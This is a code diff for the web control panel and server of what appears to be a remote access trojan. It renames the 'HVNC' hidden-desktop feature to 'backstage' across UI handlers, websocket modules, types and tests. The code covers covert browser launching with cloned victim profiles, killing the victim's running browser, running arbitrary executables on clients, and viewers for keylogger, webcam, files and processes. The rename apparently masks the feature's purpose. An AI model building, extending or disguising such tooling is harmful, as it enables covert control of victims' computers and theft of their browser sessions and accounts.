const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-operagx") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-vivaldi") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-yandex") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-waterfox") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-arc") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-custom") {
|
||||
hideContextMenu();
|
||||
showCustomExeModal();
|
||||
@@ -1713,47 +1713,47 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function showCustomExeModal() {
|
||||
let overlay = document.getElementById("hvncCustomExeOverlay");
|
||||
let overlay = document.getElementById("backstageCustomExeOverlay");
|
||||
if (overlay) { overlay.remove(); }
|
||||
overlay = document.createElement("div");
|
||||
overlay.id = "hvncCustomExeOverlay";
|
||||
overlay.id = "backstageCustomExeOverlay";
|
||||
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
|
||||
overlay.innerHTML = `
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-96 shadow-2xl">
|
||||
<div class="text-sm font-semibold text-slate-100 mb-3">Run Custom Executable</div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Exe path</label>
|
||||
<input id="hvncCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
|
||||
<input id="backstageCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
|
||||
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
||||
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
|
||||
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
|
||||
<input id="backstageCustomExeArgs" type="text" placeholder="--flag value"
|
||||
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
||||
<label class="flex items-center gap-2 text-xs text-slate-400 mb-4 cursor-pointer select-none">
|
||||
<input id="hvncCustomExeOperaPatch" type="checkbox"
|
||||
<input id="backstageCustomExeOperaPatch" type="checkbox"
|
||||
class="accent-violet-500 w-3.5 h-3.5 rounded" />
|
||||
Apply Opera patch (stub GetCursorInfo)
|
||||
</label>
|
||||
<div class="flex justify-end gap-2">
|
||||
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
|
||||
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
|
||||
<button id="backstageCustomExeCancel" class="button ghost text-sm">Cancel</button>
|
||||
<button id="backstageCustomExeRun" class="button primary text-sm">Run</button>
|
||||
</div>
|
||||
</div>`;
|
||||
document.body.appendChild(overlay);
|
||||
const pathInput = document.getElementById("hvncCustomExePath");
|
||||
const argsInput = document.getElementById("hvncCustomExeArgs");
|
||||
const pathInput = document.getElementById("backstageCustomExePath");
|
||||
const argsInput = document.getElementById("backstageCustomExeArgs");
|
||||
pathInput.focus();
|
||||
function close() { overlay.remove(); }
|
||||
document.getElementById("hvncCustomExeCancel").addEventListener("click", close);
|
||||
document.getElementById("backstageCustomExeCancel").addEventListener("click", close);
|
||||
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
|
||||
function run() {
|
||||
const exePath = pathInput.value.trim();
|
||||
if (!exePath) return;
|
||||
const args = argsInput.value.trim();
|
||||
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
|
||||
const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked;
|
||||
sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch });
|
||||
const operaPatch = document.getElementById("backstageCustomExeOperaPatch").checked;
|
||||
sendCmd("backstage_start_process", { path: cmd, opera_patch: operaPatch });
|
||||
close();
|
||||
}
|
||||
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
|
||||
document.getElementById("backstageCustomExeRun").addEventListener("click", run);
|
||||
pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } });
|
||||
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
|
||||
}
|
||||
@@ -1763,46 +1763,46 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function showLookupExeModal() {
|
||||
if (activeLookupOverlay) activeLookupOverlay.remove();
|
||||
const overlay = document.createElement("div");
|
||||
overlay.id = "hvncLookupExeOverlay";
|
||||
overlay.id = "backstageLookupExeOverlay";
|
||||
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
|
||||
overlay.innerHTML = `
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-[480px] shadow-2xl flex flex-col" style="max-height:80vh">
|
||||
<div class="text-sm font-semibold text-slate-100 mb-3">Lookup Executable</div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Exe filename (e.g. notepad.exe)</label>
|
||||
<div class="flex gap-2 mb-3">
|
||||
<input id="hvncLookupExeName" type="text" placeholder="notepad.exe"
|
||||
<input id="backstageLookupExeName" type="text" placeholder="notepad.exe"
|
||||
class="flex-1 bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 focus:outline-none focus:border-violet-500" />
|
||||
<button id="hvncLookupBtn" class="button primary text-sm px-4">
|
||||
<button id="backstageLookupBtn" class="button primary text-sm px-4">
|
||||
<i class="fa-solid fa-magnifying-glass mr-1"></i>Lookup
|
||||
</button>
|
||||
</div>
|
||||
<div id="hvncLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
|
||||
<div id="backstageLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
|
||||
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Searching…
|
||||
</div>
|
||||
<div id="hvncLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
|
||||
<div id="backstageLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
|
||||
<div class="text-xs text-slate-600 text-center py-4">Results will appear here</div>
|
||||
</div>
|
||||
<div class="flex items-center mt-3">
|
||||
<label class="flex items-center gap-2 cursor-pointer select-none">
|
||||
<input type="checkbox" id="hvncLookupKill" class="accent-red-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageLookupKill" class="accent-red-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Kill before starting</span>
|
||||
</label>
|
||||
<div class="ml-auto">
|
||||
<button id="hvncLookupClose" class="button ghost text-sm">Close</button>
|
||||
<button id="backstageLookupClose" class="button ghost text-sm">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>`;
|
||||
document.body.appendChild(overlay);
|
||||
activeLookupOverlay = overlay;
|
||||
|
||||
const nameInput = document.getElementById("hvncLookupExeName");
|
||||
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||
const statusEl = document.getElementById("hvncLookupStatus");
|
||||
const resultsEl = document.getElementById("hvncLookupResults");
|
||||
const nameInput = document.getElementById("backstageLookupExeName");
|
||||
const lookupBtn = document.getElementById("backstageLookupBtn");
|
||||
const statusEl = document.getElementById("backstageLookupStatus");
|
||||
const resultsEl = document.getElementById("backstageLookupResults");
|
||||
nameInput.focus();
|
||||
|
||||
function close() { overlay.remove(); activeLookupOverlay = null; }
|
||||
document.getElementById("hvncLookupClose").addEventListener("click", close);
|
||||
document.getElementById("backstageLookupClose").addEventListener("click", close);
|
||||
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
|
||||
|
||||
function startLookup() {
|
||||
@@ -1812,7 +1812,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
statusEl.classList.remove("hidden");
|
||||
lookupBtn.disabled = true;
|
||||
lookupBtn.classList.add("opacity-50");
|
||||
sendCmd("hvnc_lookup", { exe });
|
||||
sendCmd("backstage_lookup", { exe });
|
||||
}
|
||||
|
||||
lookupBtn.addEventListener("click", startLookup);
|
||||
@@ -1822,9 +1822,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function handleLookupResult(msg) {
|
||||
const overlay = activeLookupOverlay;
|
||||
if (!overlay) return;
|
||||
const statusEl = document.getElementById("hvncLookupStatus");
|
||||
const resultsEl = document.getElementById("hvncLookupResults");
|
||||
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||
const statusEl = document.getElementById("backstageLookupStatus");
|
||||
const resultsEl = document.getElementById("backstageLookupResults");
|
||||
const lookupBtn = document.getElementById("backstageLookupBtn");
|
||||
if (!resultsEl) return;
|
||||
|
||||
if (msg.done) {
|
||||
@@ -1852,11 +1852,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
item.dataset.lookupPath = msg.path;
|
||||
item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block";
|
||||
item.textContent = msg.path;
|
||||
item.title = "Click to start in HVNC: " + msg.path;
|
||||
item.title = "Click to start in backstage: " + msg.path;
|
||||
item.addEventListener("click", () => {
|
||||
const killCheckbox = document.getElementById("hvncLookupKill");
|
||||
const killCheckbox = document.getElementById("backstageLookupKill");
|
||||
const killExe = killCheckbox?.checked ? msg.exe : "";
|
||||
sendCmd("hvnc_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
|
||||
sendCmd("backstage_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
|
||||
item.classList.add("text-emerald-400");
|
||||
item.innerHTML = '<i class="fa-solid fa-check mr-1"></i>' + (killExe ? '(killed) ' : '') + msg.path;
|
||||
});
|
||||
@@ -1888,7 +1888,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function openWindowMap() {
|
||||
if (!windowMapModal) return;
|
||||
windowMapModal.style.display = "flex";
|
||||
sendCmd("hvnc_window_list", {});
|
||||
sendCmd("backstage_window_list", {});
|
||||
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading…</div>';
|
||||
if (windowMapList) windowMapList.innerHTML = "";
|
||||
}
|
||||
@@ -1900,7 +1900,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap);
|
||||
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
|
||||
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
|
||||
sendCmd("hvnc_window_list", {});
|
||||
sendCmd("backstage_window_list", {});
|
||||
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Refreshing…</div>';
|
||||
if (windowMapList) windowMapList.innerHTML = "";
|
||||
});
|
||||
@@ -4,7 +4,7 @@ import { osBadge } from "./viewUtils.js";
|
||||
|
||||
const ALL_PER_CLIENT_ACTIONS = [
|
||||
{ key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
|
||||
{ key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
|
||||
{ key: "backstage", feature: "backstage", label: "backstage", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/backstage?clientId=${id}` },
|
||||
{ key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
|
||||
{ key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
|
||||
{ key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
|
||||
|
||||
@@ -438,8 +438,8 @@ function applyMenuSupportRules(clientId) {
|
||||
btn.title = enabled ? "" : reason;
|
||||
};
|
||||
|
||||
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
|
||||
setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
|
||||
const backstageBtn = menu.querySelector('[data-open="Backstage"]');
|
||||
setAvailability(backstageBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
|
||||
|
||||
const hiddenBtn = menu.querySelector('[data-open="Virtual"]');
|
||||
setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline");
|
||||
@@ -499,8 +499,8 @@ function applyMenuSupportRules(clientId) {
|
||||
const MENU_OPEN_TO_FEATURE = {
|
||||
console: "console",
|
||||
remotedesktop: "remote_desktop",
|
||||
Backstage: "hvnc",
|
||||
Hidden: "hvnc",
|
||||
Backstage: "backstage",
|
||||
Hidden: "backstage",
|
||||
webcam: "webcam",
|
||||
files: "file_browser",
|
||||
processes: "processes",
|
||||
@@ -2055,14 +2055,14 @@ menu.addEventListener("click", async (e) => {
|
||||
return;
|
||||
}
|
||||
if (open === "Backstage") {
|
||||
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
|
||||
window.open(`/backstage?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "Virtual") {
|
||||
// mode=hidden is understood by older hvnc.js builds; current builds treat
|
||||
// mode=hidden is understood by older backstage.js builds; current builds treat
|
||||
// it as the virtual-monitor mode compatibility alias.
|
||||
window.open(`/hvnc?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
|
||||
window.open(`/backstage?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -423,7 +423,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
return {
|
||||
display: Number(displaySelect?.value || 0),
|
||||
streamProfile: streamProfileSelect?.value || "1080:60",
|
||||
// Keep the legacy fields so HVNC and older remote-desktop builds that
|
||||
// Keep the legacy fields so backstage and older remote-desktop builds that
|
||||
// share these preferences continue to receive equivalent settings.
|
||||
resolution: String(profile.maxHeight),
|
||||
targetFps: String(profile.fps),
|
||||
|
||||
@@ -538,7 +538,7 @@ window.configureClientAccess = async function (userId, username, role) {
|
||||
const FEATURE_LABELS = {
|
||||
console: { label: "Console", icon: "fa-terminal" },
|
||||
remote_desktop: { label: "Remote Desktop", icon: "fa-desktop" },
|
||||
hvnc: { label: "HVNC", icon: "fa-window-restore" },
|
||||
backstage: { label: "backstage", icon: "fa-window-restore" },
|
||||
webcam: { label: "Webcam", icon: "fa-video" },
|
||||
file_browser: { label: "File Browser", icon: "fa-folder-open" },
|
||||
processes: { label: "Processes", icon: "fa-microchip" },
|
||||
|
||||
@@ -114,9 +114,9 @@
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<label class="text-sm text-slate-300 w-20" for="hvncResolutionSelect">Resolution</label>
|
||||
<label class="text-sm text-slate-300 w-20" for="backstageResolutionSelect">Resolution</label>
|
||||
<select
|
||||
id="hvncResolutionSelect"
|
||||
id="backstageResolutionSelect"
|
||||
class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
|
||||
>
|
||||
<option value="720">720p</option>
|
||||
@@ -235,21 +235,21 @@
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
id="hvncContextMenu"
|
||||
id="backstageContextMenu"
|
||||
class="hidden fixed z-50 min-w-[220px] max-h-[80vh] overflow-y-auto rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
|
||||
>
|
||||
<!-- Options -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Options</div>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Clone profile</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Kill browser if running</span>
|
||||
</label>
|
||||
<div class="my-1 border-t border-slate-700/60"></div>
|
||||
@@ -360,15 +360,15 @@
|
||||
object-fit: contain;
|
||||
margin: auto;
|
||||
}
|
||||
#hvncContextMenu.hidden {
|
||||
#backstageContextMenu.hidden {
|
||||
display: none;
|
||||
}
|
||||
#hvncContextMenu button.browser-unavailable {
|
||||
#backstageContextMenu button.browser-unavailable {
|
||||
opacity: 0.35;
|
||||
pointer-events: none;
|
||||
cursor: default;
|
||||
}
|
||||
#hvncContextMenu button.browser-unavailable::after {
|
||||
#backstageContextMenu button.browser-unavailable::after {
|
||||
content: " (not found)";
|
||||
font-size: 0.65rem;
|
||||
color: #94a3b8;
|
||||
@@ -433,6 +433,6 @@
|
||||
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
||||
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/hvnc.js"></script>
|
||||
<script type="module" src="/assets/backstage.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -93,34 +93,34 @@ import {
|
||||
handleDesktopEncoderCapabilities,
|
||||
handleConsoleViewerMessage,
|
||||
handleConsoleViewerOpen,
|
||||
handleHVNCViewerMessage,
|
||||
handleHVNCViewerOpen,
|
||||
handlebackstageViewerMessage,
|
||||
handlebackstageViewerOpen,
|
||||
handleWebcamViewerMessage,
|
||||
handleWebcamViewerOpen,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleHVNCWindowListResult,
|
||||
handlebackstageCloneProgress,
|
||||
handlebackstageLookupResult,
|
||||
handlebackstageBrowserCheckResult,
|
||||
handlebackstageInstalledAppsResult,
|
||||
handlebackstageDXGIStatus,
|
||||
handlebackstageBrowserLaunchStatus,
|
||||
handlebackstageWindowListResult,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
cleanupRdViewerP2P,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
backstageStreamingState,
|
||||
notifyConsoleClosed,
|
||||
notifyRdInputLatency,
|
||||
notifyRemoteDesktopStatus,
|
||||
rdStreamingState,
|
||||
webcamStreamingState,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
sendbackstageCommand,
|
||||
stopConsoleOnTarget,
|
||||
} from "./server/ws-console-rd-hvnc";
|
||||
} from "./server/ws-console-rd-backstage";
|
||||
import {
|
||||
handleFileBrowserMessage as forwardFileBrowserMessage,
|
||||
handleFileBrowserViewerMessage,
|
||||
@@ -200,7 +200,7 @@ metrics.setSnapshotEnricher((snapshot) => {
|
||||
notificationRateClients: notificationRate.size,
|
||||
pendingNotificationScreenshots: pendingNotificationScreenshots.size,
|
||||
rdStreamingClients: rdStreamingState.size,
|
||||
hvncStreamingClients: hvncStreamingState.size,
|
||||
backstageStreamingClients: backstageStreamingState.size,
|
||||
webcamStreamingClients: webcamStreamingState.size,
|
||||
},
|
||||
};
|
||||
@@ -414,7 +414,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||
savePluginState,
|
||||
});
|
||||
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
|
||||
|
||||
type PendingScript = {
|
||||
resolve: (result: any) => void;
|
||||
@@ -591,13 +591,13 @@ async function startServer() {
|
||||
pendingScripts,
|
||||
pendingCommandReplies,
|
||||
rdStreamingState,
|
||||
hvncStreamingState,
|
||||
backstageStreamingState,
|
||||
webcamStreamingState,
|
||||
getNotificationConfig,
|
||||
handleConsoleViewerOpen,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
handleWebcamViewerOpen,
|
||||
handleHVNCViewerOpen,
|
||||
handlebackstageViewerOpen,
|
||||
handleFileBrowserViewerOpen,
|
||||
handleProcessViewerOpen,
|
||||
handleKeyloggerViewerOpen,
|
||||
@@ -620,7 +620,7 @@ async function startServer() {
|
||||
handleConsoleViewerMessage,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleWebcamViewerMessage,
|
||||
handleHVNCViewerMessage,
|
||||
handlebackstageViewerMessage,
|
||||
handleFileBrowserViewerMessage,
|
||||
handleProcessViewerMessage,
|
||||
handleKeyloggerViewerMessage,
|
||||
@@ -674,13 +674,13 @@ async function startServer() {
|
||||
handleVoiceUplink,
|
||||
handleDesktopAudioUplink,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleHVNCWindowListResult,
|
||||
handlebackstageCloneProgress,
|
||||
handlebackstageLookupResult,
|
||||
handlebackstageBrowserCheckResult,
|
||||
handlebackstageInstalledAppsResult,
|
||||
handlebackstageDXGIStatus,
|
||||
handlebackstageBrowserLaunchStatus,
|
||||
handlebackstageWindowListResult,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
@@ -689,7 +689,7 @@ async function startServer() {
|
||||
cleanupDesktopAudioViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
sendbackstageCommand,
|
||||
notifyConsoleClosed,
|
||||
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
|
||||
clearClientPluginState: notificationPluginHandlers.clearClientPluginState,
|
||||
|
||||
@@ -46,7 +46,7 @@ describe("protocol encode/decode", () => {
|
||||
monitor: 1,
|
||||
fps: 24,
|
||||
format: "h264",
|
||||
hvnc: true,
|
||||
backstage: true,
|
||||
},
|
||||
data: new Uint8Array([0, 0, 0, 1, 0x67, 0x42, 0xe0, 0x1e]),
|
||||
};
|
||||
@@ -56,7 +56,7 @@ describe("protocol encode/decode", () => {
|
||||
|
||||
expect(decoded.type).toBe("frame");
|
||||
expect(decoded.header.format).toBe("h264");
|
||||
expect(decoded.header.hvnc).toBe(true);
|
||||
expect(decoded.header.backstage).toBe(true);
|
||||
expect(decoded.header.monitor).toBe(1);
|
||||
expect(decoded.header.fps).toBe(24);
|
||||
expect(Array.from(decoded.data)).toEqual(Array.from(frame.data));
|
||||
|
||||
@@ -190,7 +190,7 @@ export type FrameHeader = {
|
||||
fps: number;
|
||||
format: "jpeg" | "webp" | "raw" | "h264";
|
||||
hash?: string;
|
||||
hvnc?: boolean;
|
||||
backstage?: boolean;
|
||||
webcam?: boolean;
|
||||
};
|
||||
|
||||
|
||||
@@ -95,7 +95,7 @@ describe("/api/auth/me featurePermissions", () => {
|
||||
expect(body.featurePermissions.webcam).toBe(false);
|
||||
expect(body.featurePermissions.file_browser).toBe(false);
|
||||
expect(body.featurePermissions.console).toBe(true);
|
||||
expect(body.featurePermissions.hvnc).toBe(true);
|
||||
expect(body.featurePermissions.backstage).toBe(true);
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
@@ -210,10 +210,10 @@ describe("/api/auth/feature-check", () => {
|
||||
test("both feature and client denied returns both reasons", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
setUserFeaturePermission(auth.userId, "hvnc", false);
|
||||
setUserFeaturePermission(auth.userId, "backstage", false);
|
||||
// client_scope stays "none" => no access
|
||||
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=backstage&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
|
||||
@@ -275,7 +275,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
|
||||
|
||||
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
|
||||
remote_desktop: "remote_desktop",
|
||||
hvnc: "hvnc",
|
||||
backstage: "backstage",
|
||||
webcam: "webcam",
|
||||
};
|
||||
|
||||
@@ -332,7 +332,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
|
||||
assignIfDefined(out, "smoothing", pickSteppedNumber(input.smoothing, 0, 80, 5));
|
||||
assignIfDefined(out, "recordMode", pickString(input.recordMode, ["normal", "compact"]));
|
||||
